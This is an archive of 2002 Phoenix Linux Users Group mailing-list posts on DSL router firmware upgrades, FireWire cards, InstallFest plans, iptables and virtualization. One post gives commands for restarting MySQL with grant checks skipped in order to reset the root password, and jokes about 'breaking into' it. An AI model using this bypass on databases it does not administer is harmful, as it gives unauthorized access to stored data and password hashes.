the updated software but that he didn't know anything more regarding the > memo. This was either 5-28 or 5-29. I emailed Cisco, based upon their > press release to attempt to get the update from them as I was unsuccessful > with getting anything from Qwest. Their response is the following website: > http://www.qwest.com/dsl/customerservice/modemsupport.html which as of > 9:00am 5-31-2002 indicated that they are working on getting the software > ready for use by their customers. This software has been available since > 5-23 from Cisco, but since Qwest DSL users purchase their modems from > Qwest, Cisco indicates that it is Qwest's responsibility to provide the > upgrades. I would have no problem with that if Qwest fulfilled this > responsibility with their customers, of which I am only one. I have > recontacted Cisco in regards to the unavailability of the upgrade on > Qwest's site and I seem to be in a support loop waiting for a human to > read my email. > > I believe that this deserves the attention of the Corporation Commission > as it represents a shortfall in the quality of service provided by a > public utility. > > > from 5-13-02 Eric Richardson wrote: Hi, Is there a way to get the CBOS 2.4.3 for a 675 and install it with Linux via the terminal port and a com program. I have tried connecting via modem serial port but I'm not really sure how to do the upgrade. I'm in routing mode so I don't think I can use the tftp procedure as the router doesn't have a IP address. Any help appreciated, Thanks for the help / encouragement. I wanted to send an update on my findings. I didn't know that the .exe format is a zip format - that is interesting. I found a place on line for the firmware. http://postyware.dyndns.org/cisco-firmware Note that the images are different based on the original CBOS version. In my case this was 2.2.0. I tried to use the tftp program to download the code but had no luck. I'm using Debian 2.2 so I was able to apt-get tftp. I installed minicom to communicate to the router but what I did wrong was I did not install lrzsz which contains the kermit, xyz/modem stuff. I thought perhaps the option were wrong so I went to look at the man pages for sx (send xmodem) and it was there so then I knew I was a dummy. I found that the lrzsz was recommended but not a dependency for minicom. Finally, after I had the right software but still no luck, I decided to try zmodem which didn't work and then ymodem which worked. I have no idea why xmodem didn't work but ymodem did. I upgraded to 2.4.4 and all seems well. I use FastQ and they are finding that the PPP mode rather than the routing mode is more stable so eventually they will be moving customers that direction. Is anybody using the filtering, NAT, DHCP with cisco and what features for the Linux firewall. Maybe this is better for another thread. Eric ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@pluglist.mybutt.net http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 21:47:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Sundar) Date: Mon, 10 Jun 2002 14:47:05 -0700 Subject: Firewire card for Linux Message-ID: <3D051E59.9030000@esaravana.com> I have to get a Firewire card for my Videocam. Do you suggest any Linux compatible cards? Sundar From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 21:53:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Mon, 10 Jun 2002 14:53:55 -0700 Subject: Firewire card for Linux References: <3D051E59.9030000@esaravana.com> Message-ID: <3D051FF3.4EB19AB4@qwest.net> See if this link helps. http://linux1394.sourceforge.net/hcl.php > I have to get a Firewire card for my Videocam. Do you suggest any Linux > compatible cards? From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 22:05:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Shawn Rutledge) Date: Mon, 10 Jun 2002 15:05:11 -0700 Subject: Firewire card for Linux In-Reply-To: <3D051E59.9030000@esaravana.com> References: <3D051E59.9030000@esaravana.com> Message-ID: <20020610220511.GC14558@ecloud.org> On Mon, Jun 10, 2002 at 02:47:05PM -0700, Sundar wrote: > I have to get a Firewire card for my Videocam. Do you suggest any Linux > compatible cards? Just get an OHCI compatible one. Most of them are, and should certainly say so on the box or web site. I got a fairly nice one I think, for cheap (3 external ports and one internal, maybe it was made by Lucent if memory serves), and the kernel detects it just fine, but that's as far as I got so far: ohci1394: $Revision: 1.80 $ Ben Collins PCI: Found IRQ 11 for device 00:0f.0 PCI: Sharing IRQ 11 with 00:02.2 ohci1394_0: OHCI-1394 1.0 (PCI): IRQ=[11] MMIO=[cffff000-cffff800] Max Packet=[2048] video1394: Installed video1394 module raw1394: /dev/raw1394 device initialized ieee1394: sbp2: Driver forced to serialize I/O (serialize_io = 1) scsi2 : IEEE-1394 SBP-2 protocol driver Any suggestions for good video editing software which can generate VCDs would be appreciated; I want to transfer video from my digital 8mm to some sort of disc format (VCD or maybe DVD some day). And does anybody know if VCD is a universal format, e.g. will the same discs play on a generic PAL DVD player, or do you have to purposely encode at higher res and lower framerate? It would be convenient for sending home movies to my wife's family. -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 22:15:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Shawn Rutledge) Date: Mon, 10 Jun 2002 15:15:51 -0700 Subject: Firewire card for Linux In-Reply-To: <20020610220511.GC14558@ecloud.org> References: <3D051E59.9030000@esaravana.com> <20020610220511.GC14558@ecloud.org> Message-ID: <20020610221551.GD14558@ecloud.org> On Mon, Jun 10, 2002 at 03:05:11PM -0700, Shawn Rutledge wrote: > Any suggestions for good video editing software which can generate VCDs > would be appreciated; I want to transfer video from my digital 8mm to > some sort of disc format (VCD or maybe DVD some day). > > And does anybody know if VCD is a universal format, e.g. will the same > discs play on a generic PAL DVD player, or do you have to purposely > encode at higher res and lower framerate? It would be convenient for > sending home movies to my wife's family. Well... didn't take long to answer those questions: http://www.geocities.com/Athens/Forum/2496/vcdfaq.html and http://www.theorie.physik.uni-goettingen.de/~ostreich/transcode/mpeg.html -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 22:05:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 10 Jun 2002 15:05:40 -0700 Subject: Firewire card for Linux In-Reply-To: <3D051E59.9030000@esaravana.com> Message-ID: <200206102213.SAA10796@hostinworld6.com> I was able to use the card that came with my DV Cam from a special at Fry's a couple years ago. It was just fine as a generic UHCI/OHCI (I forget right now). The only problem I noted was an amusing 3 second delay between the cam and display but that's probably just my system. The topic was well discussed in the Feb'02 issue of Linux Journal. -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net On 10 Jun 2002 14:47:05 -0700, Sundar wrote: > I have to get a Firewire card for my Videocam. Do you suggest any Linux > compatible cards? > > Sundar > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 22:26:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nismo96) Date: Mon, 10 Jun 2002 15:26:18 -0700 Subject: What newbie training will be available at the InstallFest? Message-ID: <3D05278A.7090102@earthlink.net> I'm a newbie when it comes to Linux and I have a lot of questions. I'd like to get as much knowledge as I can, in the form of training, from the more experienced folks who'll be in attendance at the InstallFest. I'd like to know what exactly will be offered. BTW... Thanks to the folks who've been of help to me so far, both on and off list. I really appreciate it. Ben Chacko nismo96@earthlink.net From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 22:59:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 10 Jun 2002 15:59:15 -0700 Subject: Installfest Question (Yet another) Message-ID: <200206102300.TAA29368@hostinworld6.com> Regarding Macs, If I bring one of mine and a MkLinux CD, will someone help me install. I don't want to mis-partition it and be stuck w/o a working computer (1 is too many) because I don't have a MacOS CD for it if I have to re-install it. -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 23:17:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Mon, 10 Jun 2002 16:17:26 -0700 (PDT) Subject: Linux on Comedy Central? Message-ID: <20020610231726.83489.qmail@web13406.mail.yahoo.com> Hey all, Just thought I'd share something interesting with you. I don't know if any of you watch Comedy Central to regularly but there is a show on there called "Crank Yankers". It's a bunch of puppets and prank calls. Well one of the calls was from "Special Ed" to a tech support line. To my surprise there was a giant Linux poster (Linux Inside) on the back of the wall :). Wonder where it will make its appearance next? Maybe some trippy anime show on the Cartoon Network starring Tux. __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 00:27:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (mazdaracer) Date: Mon, 10 Jun 2002 17:27:47 -0700 Subject: iptables missing after reboot (what I found) References: <3CFB9191.439F15F2@earthlink.net> Message-ID: <3D054403.D590116A@earthlink.net> Thank you all for the help! When I started to really dig in, I discovered the Mandrake 8.1 I use does indeed have some scripts in /etc/rc.d for farewall stuff! I put in an 'echo' to print a message on boot to wee where it was coming up in. What I saw was the rc.firewall script was executing first, but I saw other messages that again flushed the rules and ended up with a default. Well that default was /etc/sysconfig/iptables was being executed by /etc/rc.d/rc.sysinit. I then discovered I could get the initial rule set up and use 'service iptables save' to save then in the /etc/sysconfig/iptables. I left the rc.firewall as is since it doesn't seem to hurt anything. Now I just have to continue to learn iptables to bring up the security to a respectable level. pete From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 00:52:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 10 Jun 2002 17:52:04 -0700 Subject: Installfest Suggestion Message-ID: <200206110052.UAA01113@hostinworld6.com> This is seperate from my other question regarding the installfest. Has anyone considered bringing some SuSE Live Eval CDs for those who just want to try linux? I'd be willing to burn half a dozen copies or so if no one else is already planning on bringing it. I found it the least "stressful" of all dual boots and it takes up a minimal amount of HD space but the drawback is that it runs from the CD. Still this would allow people to dip their toe in a "user-friendly" Linux pond. -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 02:10:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Mon, 10 Jun 2002 22:10:24 -0400 Subject: Windows and Linux References: <52339DF144F8AB458552076D1ED5CA152F1C80@mail.interactcommerce.com> Message-ID: <3D055C10.29367AC0@georgetoft.com> My experience with vmware is very positive. Issues with vmware: - I cannot listen to Internet Radio at kccnfm100.com. Even with four new software downloads, three reboots (virtual), and 2 crashes, all I got was static. - vmware does not do streaming media via USB. Want to use a USB camera? Forget it. - vmware with sound is usually preceeded with a loud pop. - vmware does not support directx very well (if at all). Other than that, it lets me do my taxes, browse using IE 5.5, and gives me blue screens, just like the real thing. George Mike Porter wrote: > > Ok, this is intriguing to me. I am looking to migrate my house over to Linux, but I have some apps for which I cannot find comparable *nix substitutes. (Believe it or not, the request to move torward Linux is at my wife's request) > > So, those who have experienced VMware, win4lin, and the like, can you offer me your best suggestions as far as which you prefer and which flavor of Linux you believe is most solid with your choice? Also, any gotchas that you can think of would be most helpful. > > Also, has anyone run into problems with accessing Windows only devices using either of these options? > > Mike > > -----Original Message----- > From: Derek Neighbors [mailto:derek@gnue.org] > Sent: Sunday, May 26, 2002 9:36 PM > To: plug-discuss@lists.plug.phoenix.az.us > Cc: punkmmiv@cox.net > Subject: Re: Windows and Linux > > On 26 May 2002 22:44:49 -0700 > Matt wrote: > > > I know that Windows and Linux are supposed to operate pretty well > > together, but the only articles I've read are about installing Linux > > once Windows is already there. I'm running a pure SuSE 8.0 box and I > > was wondering if it's possible to install Windows on it while still > > being able to use my current install? > > Try win4lin. It lets you run windows as a window inside your GNU/Linux > environment. Unlike VMWare and friends it is not a VM. Also, unlike > WINE it actually works and works well. It will even let windows use > (read/write) to your GNU/Linux file systems and such. It is not free, > but neither is M$ Windows (so I assume you dont have a problem with > that) and it is by far the best way to 'suffer' M$ while not having to > 'leave' a real operating system. > > -Derek > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 02:24:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Mon, 10 Jun 2002 22:24:21 -0400 Subject: mysqld References: <1023371676.4787.3.camel@barney.azapple.com> Message-ID: <3D055F55.8B987EFD@georgetoft.com> Craig White wrote: > > dummy me - I started the mysqld without a password and now I can't log > in to make changes and set up users. How can I log in without a > password? It won't let me log in without a password but there never was > any - it's a new installation. > > Craig > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss My notes on how to break into, er, I mean, change the root password for mysql: # killall mysqld # safe_mysqld -Sg & # mysql mysql mysql> select * from user; mysql> update user set Password=password("newpasswd") where User="root"; (or whatever your root user is called) George From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 03:01:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Greg Furmanek) Date: Mon, 10 Jun 2002 20:01:41 -0700 Subject: Linux for Christians References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <3D04124D.8000100@earthlink.net> <200206092132.00620.lists@ybnormal.org> Message-ID: <3D056815.5080304@earthlink.net> Hahaha... You right I should probably get some of heathens like myslef and creat our own distro. I wonder what should I name it? and how many people will I piss of with this one. Greg Tom Achtenberg wrote: >If you want a distr aimed at whatever it is you believe or don't believe, >program it, or get some like minded people to do it. > >The wars are more due to ignorence, not religion. > >On Sunday 09 June 2002 07:43 pm, Greg Furmanek wrote: > > >>How about a linux distro specifically for non-christians? Buddists? >> Muslims? Hindu? >> >>btw: why everything on this planet has to be about religion? Isn't >>this why we have so >>many wars? >> >>Greg >> >>dennisk@sahuaro.f2s.com wrote: >> >> >>>Looking for something else on Google I stumbled on to The Linux for >>>Christians site! http://thelinuxlink.net/l4c/ Here's what it says: >>> >>>This is a very new site dedicated to the Christian use of one of my >>>favorite OS's, Linux! What you will see here (provided you keep coming >>>back) is a repository of information pertaining to, how to, and why to, >>>use Linux as a Christian and in a Christian organization. >>> >>>And then there is: >>> >>>http://www.christianlinux.com/ >>> >>>I wonder if the LWN Penguin Gallery has their version of Tux wearing a >>>crusifix! >>> >>>Dennis >>> >>>------------------------------------------------- >>>Everyone should have http://www.freedom2surf.net/ >>>________________________________________________ >>>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >>>post to the list quickly and you use Netscape to write mail. >>> >>>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >>> >>> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >>post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> >> > > > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 03:05:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Greg Furmanek) Date: Mon, 10 Jun 2002 20:05:37 -0700 Subject: Linux for Christians References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <3D04124D.8000100@earthlink.net> <15620.43611.959869.710388@magnitude.righthandgraphics.com> Message-ID: <3D056901.3060507@earthlink.net> HAHAHA... good humor. I loved this one. btw. I should start my own cult of "VIM" editor. any followers? Greg David A. Sinck wrote: >\_ SMTP quoth Greg Furmanek on 6/9/2002 19:43 as having spake thusly: >\_ >\_ How about a linux distro specifically for non-christians? Buddists? >\_ Muslims? Hindu? >\_ >\_ btw: why everything on this planet has to be about religion? Isn't >\_ this why we have so >\_ many wars? > >No, we have so many wars because of people using the wrong editor. > > >Die infidel (emacs|vi) user, die! > >:-) > >http://www.netfunny.com/rhf/jokes/97/Jul/tolerance.html > > >David >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 03:22:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Mon, 10 Jun 2002 20:22:17 -0700 (MST) Subject: Installfest Question (Yet another) In-Reply-To: <200206102300.TAA29368@hostinworld6.com> Message-ID: Am 10. Jun, 2002 schwätzte Bryce C. so: > Regarding Macs, If I bring one of mine and a MkLinux CD, will someone > help me install. I don't want to mis-partition it and be stuck w/o a > working computer (1 is too many) because I don't have a MacOS CD for it > if I have to re-install it. If you don't have a way to reinstall the old system install on a different disk and disconnect the original. Alternatively copy the original and make sure the new disk works. ciao, der.hans -- # https://www.LuftHans.com/ # The most likely way for the world to be destroyed, most experts agree, # is by accident. That's where we come in; we're computer professionals. # We cause accidents. -- Nathaniel Borenstein From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 03:29:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Mon, 10 Jun 2002 20:29:54 -0700 (MST) Subject: Installfest Suggestion In-Reply-To: <200206110052.UAA01113@hostinworld6.com> Message-ID: Am 10. Jun, 2002 schwätzte Bryce C. so: > This is seperate from my other question regarding the installfest. > Has anyone considered bringing some SuSE Live Eval CDs for those who > just want to try linux? I'd be willing to burn half a dozen copies or > so if no one else is already planning on bringing it. I found it the > least "stressful" of all dual boots and it takes up a minimal amount of > HD space but the drawback is that it runs from the CD. Still this would > allow people to dip their toe in a "user-friendly" Linux pond. I believe Live Eval CDs are amongst the swag we got ( are getting? ) from SuSE. Yes, I hope we have plenty to give out. A few bootable business cards would be good too. I'll check on those. ciao, der.hans -- # https://www.LuftHans.com/ # The only way for a woman to change a man # is if he's wearing Depends[TM] - der.hans From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 03:31:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Mon, 10 Jun 2002 20:31:05 -0700 (MST) Subject: iptables missing after reboot (what I found) In-Reply-To: <3D054403.D590116A@earthlink.net> Message-ID: Am 10. Jun, 2002 schwätzte mazdaracer so: > seem to hurt anything. Now I just have to continue to learn iptables to > bring up the security to a respectable level. See if Mandrake has FireStarter. For a simple firewall ( e.g. one connection to the Net and one connection to the LAN ) it's pretty good. The script it writes is also fairly easy to read. ciao, der.hans -- # https://www.LuftHans.com/ # The only way for a woman to change a man # is if he's wearing Depends[TM] - der.hans From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 03:21:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Cap Bateman) Date: 10 Jun 2002 20:21:15 -0700 Subject: Linux for Christians In-Reply-To: <3D056815.5080304@earthlink.net> References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <3D04124D.8000100@earthlink.net> <200206092132.00620.lists@ybnormal.org> <3D056815.5080304@earthlink.net> Message-ID: <1023765677.19026.8.camel@desktop.capnet.lan> --=-rerC75alkXehU1c5RK7g Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Mon, 2002-06-10 at 20:01, Greg Furmanek wrote: > Hahaha... >=20 > You right I should probably get some of heathens like myslef and creat=20 > our own distro. >=20 > I wonder what should I name it? and how many people will I piss of with=20 > this one. >=20 PaganLinux. Can't get much more heathen than that. --=20 D.L. 'Cap' Bateman Registered Linux User #268440, Machine #151687 No trees were harmed in sending this Earth-safe message. However, a few electrons may have been inconvenienced. --=-rerC75alkXehU1c5RK7g Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA9BWyr6He1yLs+JHwRAjQyAKDSiv3vHnIhGBFIYhEMeEydmp7BQgCeMWaj Dn5j3E1Gid26R3zoNmOm9Vw= =OXfC -----END PGP SIGNATURE----- --=-rerC75alkXehU1c5RK7g-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 03:21:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike Butash) Date: Mon, 10 Jun 2002 20:21:24 -0700 Subject: Cisco DoS required CBOS upgrade- Qwest complaint In-Reply-To: <3D051313.1030805@milagrosoft.com> Message-ID: <002101c210f7$11865ce0$0a64a8c0@internal.nutsac.org> It's qworst, you expect anything more? http://www.cisco.com/warp/public/794/675_faq.shtml Zmodem transfers are rather painful, I'd say look into the password recovery steps (if you don't know your pw) listed on that page and tftp it. Set the eth0 ip as it says, enable tftp on the router, and "man tftp". http://nutsac.org/stuff/c675.2.4.5.bin -mbutash -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Eric Richardson Sent: Monday, June 10, 2002 1:59 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Cisco DoS required CBOS upgrade- Qwest complaint Patrick Fleming EA wrote: > I have been in contact with Cisco support as well as customer support > within Qwest regarding a serious Denial of Service update to the software > that runs my Cisco 678 router. On 5-23-2002 Cisco released the following > advisory: http://www.cisco.com/warp/public/707/CBOS-DoS.shtml As > indicated, I called Qwest- the provider of my modem. The first person I > talked to transfered me to another department. Without talking to anyone > at all, just following the prompts provided by the voice mail system, I > was able to get right back where I originally started, with DSL Tech > support. This time I was told that they had just received a memo regarding > the updated software but that he didn't know anything more regarding the > memo. This was either 5-28 or 5-29. I emailed Cisco, based upon their > press release to attempt to get the update from them as I was unsuccessful > with getting anything from Qwest. Their response is the following website: > http://www.qwest.com/dsl/customerservice/modemsupport.html which as of > 9:00am 5-31-2002 indicated that they are working on getting the software > ready for use by their customers. This software has been available since > 5-23 from Cisco, but since Qwest DSL users purchase their modems from > Qwest, Cisco indicates that it is Qwest's responsibility to provide the > upgrades. I would have no problem with that if Qwest fulfilled this > responsibility with their customers, of which I am only one. I have > recontacted Cisco in regards to the unavailability of the upgrade on > Qwest's site and I seem to be in a support loop waiting for a human to > read my email. > > I believe that this deserves the attention of the Corporation Commission > as it represents a shortfall in the quality of service provided by a > public utility. > > > from 5-13-02 Eric Richardson wrote: Hi, Is there a way to get the CBOS 2.4.3 for a 675 and install it with Linux via the terminal port and a com program. I have tried connecting via modem serial port but I'm not really sure how to do the upgrade. I'm in routing mode so I don't think I can use the tftp procedure as the router doesn't have a IP address. Any help appreciated, Thanks for the help / encouragement. I wanted to send an update on my findings. I didn't know that the .exe format is a zip format - that is interesting. I found a place on line for the firmware. http://postyware.dyndns.org/cisco-firmware Note that the images are different based on the original CBOS version. In my case this was 2.2.0. I tried to use the tftp program to download the code but had no luck. I'm using Debian 2.2 so I was able to apt-get tftp. I installed minicom to communicate to the router but what I did wrong was I did not install lrzsz which contains the kermit, xyz/modem stuff. I thought perhaps the option were wrong so I went to look at the man pages for sx (send xmodem) and it was there so then I knew I was a dummy. I found that the lrzsz was recommended but not a dependency for minicom. Finally, after I had the right software but still no luck, I decided to try zmodem which didn't work and then ymodem which worked. I have no idea why xmodem didn't work but ymodem did. I upgraded to 2.4.4 and all seems well. I use FastQ and they are finding that the PPP mode rather than the routing mode is more stable so eventually they will be moving customers that direction. Is anybody using the filtering, NAT, DHCP with cisco and what features for the Linux firewall. Maybe this is better for another thread. Eric ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@pluglist.mybutt.net http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 03:38:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alan Dayley) Date: Mon, 10 Jun 2002 20:38:58 -0700 Subject: Installfest Suggestion In-Reply-To: References: Message-ID: <200206102038.58858.alandd@mindspring.com> I got the shipment of goodies from SuSE today. It includes 10-12 7.2 live eval discs. Alan On Monday 10 June 2002 08:29 pm, der.hans wrote: > Am 10. Jun, 2002 schwätzte Bryce C. so: > > This is seperate from my other question regarding the installfest. > > Has anyone considered bringing some SuSE Live Eval CDs for those who > > just want to try linux? I'd be willing to burn half a dozen copies or > > so if no one else is already planning on bringing it. I found it the > > least "stressful" of all dual boots and it takes up a minimal amount of > > HD space but the drawback is that it runs from the CD. Still this would > > allow people to dip their toe in a "user-friendly" Linux pond. > > I believe Live Eval CDs are amongst the swag we got ( are getting? ) from > SuSE. Yes, I hope we have plenty to give out. > > A few bootable business cards would be good too. I'll check on those. > > ciao, > > der.hans From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 04:03:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Mon, 10 Jun 2002 21:03:00 -0700 Subject: Linux on Comedy Central? References: <20020610231726.83489.qmail@web13406.mail.yahoo.com> Message-ID: <3D057674.5287D130@leml.asu.edu> bob smith wrote: > > Hey all, > Just thought I'd share something interesting with you. > I don't know if any of you watch Comedy Central to > regularly but there is a show on there called "Crank > Yankers". It's a bunch of puppets and prank calls. > Well one of the calls was from "Special Ed" to a tech > support line. To my surprise there was a giant Linux > poster (Linux Inside) on the back of the wall :). > > Wonder where it will make its appearance next? Maybe > some trippy anime show on the Cartoon Network starring Tux. What was the old cartoon penguin named? His new nephew *IS* out beloved Tux ;-) EBo -- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 03:58:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Thomas Mondoshawan Tate) Date: Mon, 10 Jun 2002 20:58:09 -0700 Subject: Linux for Christians In-Reply-To: <3D056815.5080304@earthlink.net> References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <3D04124D.8000100@earthlink.net> <200206092132.00620.lists@ybnormal.org> <3D056815.5080304@earthlink.net> Message-ID: <20020611035809.GA3744@tank.ph.cox.net> You realize that there is already an undead Linux distro, right? Freshmeat.net has a link to it, IINM. -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.dyndns.org:8080 On Mon, Jun 10, 2002 at 08:01:41PM -0700, Greg Furmanek wrote: > Hahaha... > > You right I should probably get some of heathens like myslef and creat > our own distro. > > I wonder what should I name it? and how many people will I piss of with > this one. > > Greg > > Tom Achtenberg wrote: > > >If you want a distr aimed at whatever it is you believe or don't believe, > >program it, or get some like minded people to do it. > > > >The wars are more due to ignorence, not religion. > > > >On Sunday 09 June 2002 07:43 pm, Greg Furmanek wrote: > > > > > >>How about a linux distro specifically for non-christians? Buddists? > >>Muslims? Hindu? > >> > >>btw: why everything on this planet has to be about religion? Isn't > >>this why we have so > >>many wars? > >> > >>Greg > >> > >>dennisk@sahuaro.f2s.com wrote: > >> > >> > >>>Looking for something else on Google I stumbled on to The Linux for > >>>Christians site! http://thelinuxlink.net/l4c/ Here's what it says: > >>> > >>>This is a very new site dedicated to the Christian use of one of my > >>>favorite OS's, Linux! What you will see here (provided you keep coming > >>>back) is a repository of information pertaining to, how to, and why to, > >>>use Linux as a Christian and in a Christian organization. > >>> > >>>And then there is: > >>> > >>>http://www.christianlinux.com/ > >>> > >>>I wonder if the LWN Penguin Gallery has their version of Tux wearing a > >>>crusifix! > >>> > >>>Dennis > >>> > >>>------------------------------------------------- > >>>Everyone should have http://www.freedom2surf.net/ > >>>________________________________________________ > >>>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >>>post to the list quickly and you use Netscape to write mail. > >>> > >>>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >>>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >>> > >>> > >>________________________________________________ > >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >>post to the list quickly and you use Netscape to write mail. > >> > >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >> > >> > > > > > > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 04:15:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 10 Jun 2002 21:15:03 -0700 Subject: Installfest Question (Yet another) In-Reply-To: Message-ID: <200206110415.AAA03429@hostinworld6.com> That was sort of my problem. I don't have the money to buy a scsi drive for a 7 year old mac. On 10 Jun 2002 20:22:17 -0700, der.hans wrote: > Am 10. Jun, 2002 schwätzte Bryce C. so: > > > Regarding Macs, If I bring one of mine and a MkLinux CD, will someone > > help me install. I don't want to mis-partition it and be stuck w/o a > > working computer (1 is too many) because I don't have a MacOS CD for it > > if I have to re-install it. > > If you don't have a way to reinstall the old system install on a different > disk and disconnect the original. > > 